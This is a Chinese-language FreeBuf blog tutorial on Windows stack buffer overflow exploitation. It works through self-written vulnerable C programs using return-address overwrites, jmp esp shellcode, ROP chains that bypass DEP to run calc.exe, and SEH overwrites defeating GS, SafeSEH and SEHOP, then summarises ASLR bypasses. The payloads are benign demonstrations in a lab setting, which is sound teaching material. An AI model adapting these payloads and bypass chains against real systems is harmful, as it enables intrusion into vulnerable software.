freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

windows栈溢出教程
2024-11-25 20:38:18
所属地 福建省

前记

实验环境:win11,vs2022,x64dbg,python3,windbg

栈溢出

危险函数

#include <windows.h>
#include<stdio.h>
void vulf()
{
	MessageBoxA(0,"coleak","xiao",0);
}
char name[] = "abcdefghijkl"
"\xc0\x10\x40\x00"
;
int main()
{

	char output[5]={0};
	strcpy(output, name);
	printf("%s", output);
	return 0;
	vulf();
}

反汇编如下

push ebp
mov ebp,esp
sub esp,8
xor eax,eax
mov dword ptr ss:[ebp-8],eax
mov byte ptr ss:[ebp-4],al
push <coleak._name>
lea ecx,dword ptr ss:[ebp-8]
push ecx
call <coleak._strcpy>

output首地址为ebp-8,此时向栈中写入过量内容覆盖返回值即可

观察栈,此时返回值被填充为\xc0\x10\x40\x00,即vulf的地址从而成功弹窗

也可以用winpwn

from winpwn import *

context.log_level='debug'
context.arch='i386'

file_name = './c3.exe'

r = process(file_name)

payload  = 'a' * 12
payload += p32(0x004010c0)
r.sendline(payload)
r.interactive()

栈shellcode

现实上往往不存在危险函数,需要自己构造shellcode写入栈中,通过jmp esp的方式完成执行shellcode

提取shellcode

#include<Windows.h>
#include<iostream>
int main()
{
	//std::cout << std::hex << GetProcAddress(LoadLibraryA("User32.dll"), "MessageBoxA");	//0x7587AE50
	LoadLibraryA("User32.dll");
	_asm {
		xor eax, eax
		push eax
		push eax
		push eax
		xor eax, eax
		push eax
		mov eax, 0x7587AE50
		call eax
	}
	return 0;
}

//提取的shellcode
{
0x33, 0xC0, 0x50, 0x50, 0x50, 0x33, 0xC0, 0x50, 0xB8, 0x50, 0xAE, 0x87, 0x75, 0xFF, 0xD0
};

验证shellcode

#include <Windows.h>
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = {
0x33, 0xC0, 0x50, 0x50, 0x50, 0x33, 0xC0, 0x50, 0xB8, 0x50, 0xAE, 0x87, 0x75, 0xFF, 0xD0
};

int main()
{
    LoadLibraryA("User32.dll");
    char* Memory;
    Memory = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
    system("pause");
}

找到jmp esp的地址:0x758A01B3

#include <windows.h>
#include<stdio.h>

char name[] = "abcdefghijkl"
"\xB3\x01\x8A\x75"
"\x33\xC0\x50\x50\x50\x33\xC0\x50\xB8\x50\xAE\x87\x75\xFF\xD0"
;
int main()
{
	LoadLibraryA("User32.dll");
	char output[5] = { 0 };
	strcpy(output, name);
	return 0;
}

push ebp;sub esp,8=12字节 add esp,8;pop ebp=12字节 ret到\xB3\x01\x8A\x75,出栈后执行jmp esp,即shellcode

DEP

程序往往会开启DEP(数据执行保护),导致栈中的shellcode不具备执行权限,此时需要找到空闲区域和相关函数构造一系列执行链(rop)完成操作

搜索所有模块的匹配特征为
752FCFB7 jmp esp (FF E4)
76493304 pop eax ret(58 C3)
765691DF pop ecx ret(59 C3)
765991FE mov dword ptr [eax],ecx ret(89 08 C3)
775C0B00  system 地址
7666F0A0  空闲内存
char payload[] = 
"abcdefghijkl"  // 填充到覆盖返回地址
// 写入 "calc" 到地址 0x77331260
"\x04\x33\x49\x76"  // 76493304: pop eax; ret
"\xA0\xF0\x66\x76"  // 7666F0A0: 空闲内存地址
"\xDF\x91\x56\x76"  // 765691DF: pop ecx; ret
"\x63\x61\x6C\x63"  // "calc" (ASCII): 0x636C6163
"\xFE\x91\x59\x76"  // 765991FE: mov dword ptr [eax], ecx; ret

// 写入 ".exe" 到地址 0x77331264
"\x04\x33\x49\x76"  // 76493304: pop eax; ret
"\xA4\xF0\x66\x76"   // 7666F0A4: 空闲内存地址 + 4
"\xDF\x91\x56\x76"  // 765691DF: pop ecx; ret
"\x2E\x65\x78\x65"  // ".exe" (ASCII): 0x6578652E
"\xFE\x91\x59\x76"  // 765991FE: mov dword ptr [eax], ecx; ret

// 调用 system("calc.exe")
"\xDF\x91\x56\x76"  // 765691DF: pop ecx; ret
"\xA0\xF0\x66\x76"   // 7666F0A0: "calc.exe" 地址
"\x00\x0B\x5C\x77"	//775C0B00
;

由于存在\x00截断,于是跳转到system的jmp大跳75A7FFC0

#include <windows.h>
#include<stdio.h>
#include<stdlib.h>

char payload[] =
"abcdefghijkl"  // 填充到覆盖返回地址
// 写入 "calc" 到地址 0x77331260
"\x04\x33\x49\x76"  // 76493304: pop eax; ret
"\xA0\xF0\x66\x76"  // 7666F0A0: 空闲内存地址
"\xDF\x91\x56\x76"  // 765691DF: pop ecx; ret
"\x63\x61\x6C\x63"  // "calc" (ASCII): 0x636C6163
"\xFE\x91\x59\x76"  // 765991FE: mov dword ptr [eax], ecx; ret

// 写入 ".exe" 到地址 0x77331264
"\x04\x33\x49\x76"  // 76493304: pop eax; ret
"\xA4\xF0\x66\x76"   // 7666F0A4: 空闲内存地址 + 4
"\xDF\x91\x56\x76"  // 765691DF: pop ecx; ret
"\x2E\x65\x78\x65"  // ".exe" (ASCII): 0x6578652E
"\xFE\x91\x59\x76"  // 765991FE: mov dword ptr [eax], ecx; ret

// 调用 system("calc.exe")
"\xDF\x91\x56\x76"  // 765691DF: pop ecx; ret
"\xA0\xF0\x66\x76"   // 7666F0A0: "calc.exe" 地址
"\xC0\xFF\xA7\x75"	//75A7FFC0
;

int main()
{
	LoadLibraryA("User32.dll");
	char output[5] = { 0 };
	strcpy(output, payload);
	return 0;
}

绕过DEP,执行完system最后成功弹出计算器

SEH/GS

当开启GS保护后,我们构造的rop会覆盖cookie检验值,此时我们通过栈溢出填充seh处理程序的地址绕过GS进行攻击。

mov eax,dword ptr ds:[<___security_cookie>]
xor eax,ebp
mov dword ptr ss:[ebp-4],eax
...
mov ecx,dword ptr ss:[ebp-4]
xor ecx,ebp
call <coleak.@__security_check_cookie@4>

生成测试字符长度

python
from exploit_patterns import *
print(create(200))
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
print(offset('Ad2A'))
96

测试代码

#include <windows.h>
#include<stdio.h>
char name[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xC0\x50\x50\x50\x33\xC0\x50\xB8\x50\xAE\xF7\x75\xFF\xD0\x90"
"a4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac"
"\x90\x90\x90\x90"
"\x20\xFF\x19\x00";
char shellcode[] = "\x33\xC0\x50\x50\x50\x33\xC0\x50\xB8\x50\xAE\xF7\x75\xFF\xD0";
int c, d = 0;

void test(char* input)
{
	char buf[5];
	strcpy(buf, input);
	c = 1 / d;
}
void t()
{
	char* Memory;
	Memory = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, shellcode, sizeof(shellcode));
	((void(*)())Memory)();
}
int main()
{
	test(name);
	//t();
	return 0;
}

在win11里面测试时,发现SEH-handle指针必须大于栈所在的内存页,即shellcode在栈中属于堆栈内存页无法成功跳转到shellcode,如下。除此之外还有别的验证程序,保证handle不在系统模块中

mov ecx,dword ptr ds:[ecx+4]	//SEH-handle
cmp ecx,dword ptr ss:[esp+24]	//001A0000(堆栈的下一个内存页首地址)
jb ntdll.770BD172

代码如下

#include <windows.h>
#include<stdio.h>
char shellcode[] = "\x33\xC0\x50\x50\x50\x33\xC0\x50\xB8\x50\xAE\x17\x76\xFF\xD0\x90";//.data
char name[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xC0\x50\x50\x50\x33\xC0\x50\xB8\x50\xAE\x17\x76\xFF\xD0\x90"
"a4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Aca4Aa5Aa6Aa7Aa4Aa5Aa6Aa7Aa4Aa5Aa6Aa7Aa4Aa5Aa6Aa7AAa7A"
"\x90\x90\x90\x90"
"\x18\x30\x44\x00";
//"\x20\xFF\x19\x00";//00443018
int c=0, d = 0,e=0;

void test(char* input)
{	
	HANDLE hp, h1;
	hp = HeapCreate(0, 0x1000, 0x10000);
	h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
	memcpy(h1, name, sizeof(name));

	char buf[5];
	strcpy(buf, input);
	c = 1 / d;
}
void t()
{
	char* Memory;
	Memory = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, shellcode, sizeof(shellcode));
	((void(*)())Memory)();
}
int main()
{
	LoadLibraryA("User32.dll");
	test(name);
	//t();
	return 0;
}

将返回地址写到.data中的shellcode地址成功执行,或者通过堆h1地址也可以完成

SafeSEH

操作系统在SafeSEH机制中发挥的作用:

  1. 检查异常处理链是否位于当前程序栈中,如果不在当前栈中,将终止异常处理函数的调用。

  2. 检查异常处理函数指针是否位于当前程序栈中,如果指向当前栈中,程序将终止异常处理函数的调用。

  3. 在通过前两项检查之后,将通过一个全新的函数RtlIsValidHandler()函数来对异常处理函数的有效性进行验证。

RtlIsValidHandler()工作如下:

1.首先,检查异常处理函数地址是否位于当前加载模块的内存空间,如果位于当前模块的加载空间,进行下一步检验
2.判断程序是否设置了IMAGE_DLLCHARACTERISTICS_NO_SEH标识,如果设置了这个标识,这个程序内的异常将会被忽略,函数直接返回失败,如果没有设置这个标识,将进行下一步检验
3.检测程序中是否含有安全S.E.H表,如果包含安全S.E.H表,则将当前异常处理函数地址与该表的表项进行匹配
4.判断异常处理函数地址是否位于不可执行页上,如果位于不可执行页上,将会检测DEP是否开启,如果未开

利用SEH的终极特权:SafeSEH有一个很大的漏洞,就是如果异常处理指针指向堆区,无论检验是否通过都将执行

利用方式:

方法一:通过堆h1地址,可以完成执行shellcode

方法二:攻击未开启safeseh的模块,如下:

#include <windows.h>
#include<stdio.h>
char name[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"a4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Aca4Aa5Aa6Aa7Aa4Aa5Aa6Aa7Aa4Aa5Aa6Aa7Aa4Aa5Aa6Aa7AAa7A"
"\x90\x90\x90\x90"
"\x10\x10\x35\x7A"//7A351010
"\x90\x90\x90\x90\x90\x90\x90\x90\x33\xC0\x50\x50\x50\x33\xC0\x50\xB8\x50\xAE\x17\x76\xFF\xD0\x90"//shellcode
;
int c=0, d = 0,e=0;

void test(char* input)
{	

	LoadLibraryA("D:\\c_project\\coleak\\Release\\dlllib.dll");

	char buf[5];
	strcpy(buf, input);
	c = 1 / d;
}

int main()
{
	LoadLibraryA("User32.dll");
	test(name);
	return 0;
}

dlllib.dll:这里充当未开启safeseh的模块

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
EXTERN_C _declspec(dllexport) int add(int a, int b);

EXTERN_C _declspec(dllexport) void coleak1() {
    __asm {
        pop eax
        pop eax
        pop eax
        pop eax
        ret
    }
}

EXTERN_C _declspec(dllexport) void coleak() {
    __asm {
        mov eax,0
        pop eax
        pop eax
        ret
    }
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

int add(int a, int b)
{
    return a + b;
}

执行的handle(7A351010)为未开启safeseh的dll中的coleak函数

mov eax,0
pop eax
pop eax
ret

ret返回到地址0019FF54为原来栈中指向SEH_Record[1]即NEXT SEH的指针,这里在该指针和7A351010地址紧接着的shellcode前面填充\x90防止shellcode被破坏

image-20241123231722366.png

SEHOP

SEHOP保护机制:

顺着SEH异常处理指针一直找下去,如果说最终的那个SEH处理函数是系统预定的终极异常处理函数,那说明SEH异常处理链完整,验证通过,如果不是,则会验证失败,直接退出。

方法一:没有开启GS则可以攻击返回地址,此时不能触发SEH异常

#include <windows.h>
#include<stdio.h>
char name[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xB7\xCF\x2F\x75"//752FCFB7
"\x90\x90\x90\x90\x90\x90\x90\x90\x33\xC0\x50\x50\x50\x33\xC0\x50\xB8\x50\xAE\x9E\x76\xFF\xD0\x90"//shellcode
;
int c=0, d = 0,e=0;

void test(char* input)
{	
	char buf[5];
	strcpy(buf, input);
}

int main()
{
	LoadLibraryA("User32.dll");
	test(name);
	return 0;
}

方法二:伪造SEH链

\x90填充 | 0x0019FFCC(SEH异常处理链最后一块地址) | 指向检验可通过的ShellCode地址(栈内无效)

ASLR

在Windows下, ASLR主要表现在三个方面:

映像基址随机化、堆栈基址随机化和PEB/TEB随机化。

绕过:

对于映像随机化,虽然模块的加载地址变了,但低2个字节不变。

jmp esp在重启电脑后地址77068B84变成了77E88B84,在前两个字节不可控时,修改后两个字节为8B84即可

对于ASLR堆栈随机化,可以使用heap spray等绕过限制

对于PEB和TEB的随机化,也是可以通过FS的偏移来定位

后记

攻防双方的博弈

首先在当前的环境下,微软的内存保护机制大致分为以下几种:

  1. 堆栈缓冲区溢出检测保护 GS (编译器)

  2. 安全结构化异常处理保护 Safe SEH

  3. 堆栈 SEH 覆盖保护 SEHOP

  4. 地址空间布局随机化保护 ASLR

  5. 堆栈数据执行保护 DEP


堆栈缓冲区溢出检测保护 GS (编译器)

保护原理:该保护是通过编译器进行限制的,GS选项是微软堆栈检测仪概念的具体实现:从 Visual Studio 系列的编译器上就加入了GS保护机制且默认开启,操作系统从 WindowsXP 开始就已经全面支持该选项了。

其原理是,将缓冲区变量置于栈帧的底部,且在缓冲区与栈指针(EBP)之间插入一个随机化的 Cookie ,在函数返回时验证该 Cookie 是否发生了改变,如果发生了改变,则说明恶意代码覆盖了该区域,从而决定不在使用该返回地址。

绕过措施:实际上GS保护机制并没有保护存放在栈上的 SEH 异常处理结构,因此,如果能够写入足够的数据来覆盖栈上的 SEH 记录,并在函数收场白和 Cookie 检测之前触发 SEH 异常,那么将会绕过Cookie的检查从而去执行我们构建好的异常处理例程。

安全结构化异常处理保护 Safe SEH

保护原理:GS保护缺陷就是可以通过覆盖SEH结构实现绕过,随后防守方就在其编译器中加入了Safe SEH保护措施,该选项需要在链接时添加linker /safessh:yes来开启,采用 SEH 句柄验证技术验证堆栈中SEH的合法性,来确保 SEH 结构不会被非法覆盖。

绕过措施:为了突破 SefeSEH 的保护,攻击者又找到了新的绕过方式,通过利用进程中未被启用的 SEH 模块,将修改后的 SEH 例程指针指向这些模块中的 (POP/RET) 等一些跳板指令,从而跳转到栈上执行 ShellCode 代码,除此之外还可以将恶意代码布置到堆中,然后修改函数指针指向堆,同样可以绕过。

堆栈 SEH 覆盖保护 SEHOP

保护原理:随后防守方进一步提出了 SEHOP 技术,该技术默认从 Windows Vista 开始支持,而该技术在Win7-Win8系统上默认是关闭的,你可以通过注册表开启该选项,该技术的核心原理是在程序运行时验证整个异常处理链表结构的完整性,如果攻击者覆盖了某个异常处理程序,那么该链表将被破坏,从而抛出异常停止执行。

绕过措施:为了绕过SEHOP保护机制,突破方法就是进一步伪造 SEH 链,该方法的核心是能够找到合适的跳板指令,且伪造最终异常处理函数指针应该与真实的相同,伪造最终异常处理函数指针前4字节(SEH链指针)应为0xFFFFFFFF,SEH链指针地址应该能被4整除即可。

地址空间布局随机化保护 ASLR

保护原理:如上所说我们需要找到合适的跳板指令,但恰巧的是防守方在此基础上又添加了一个新的技术,ASLR 地址空间布局随机化,该技术的核心原理是不让攻击者预测到布置在内存中的 ShellCode 的内存地址,因此即使溢出发生并成功填充内存,攻击者也无法得知将EIP指针跳转到何处,从而无法执行恶意代码。

绕过措施:针对 ASLR 技术,攻击者同样的找到了能够绕过的方式,主要是利用堆喷射技术 (Heap Spray),通过使用脚本语言在堆上布置大量的含有 ShellCode 代码的指令块,从而增加某一个内存地址位于指令块中的命中率,通过执行概率实现挫败 ASLR技术。

堆栈数据执行保护 DEP

保护原理:DEP 保护直接切中了缓冲区溢出要害,数据执行保护将程序数据段所在的内存页面 (堆栈) 的属性强制设为 NX (不可执行),当程序执行这些内存页面上的数据时,将报错并禁止文件的执行,当今的CPU提供了硬件方面的安全防护,同样也支持了DEP保护技术。

绕过措施:为了绕过DEP保护,攻击者提出了新的绕过方式ROP(返回导向编程),它是ret2libc的继承者,攻击者在溢出程序之后,并不去执行栈中的 ShellCode 代码,而是寻找程序中已加载的特殊指令块,配合栈上的压栈参数,将这些相对孤立的指令串联起来,形成一条链,并通过调用VirtualProtect函数,将该栈设置为可执行属性,然后在执行栈中的 ShellCode 代码。

reference

https://www.cnblogs.com/LyShark/p/11427685.html
https://bbs.kanxue.com/thread-271171.htm
https://xz.aliyun.com/u/74789
# 系统安全 # windows # 栈溢出
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录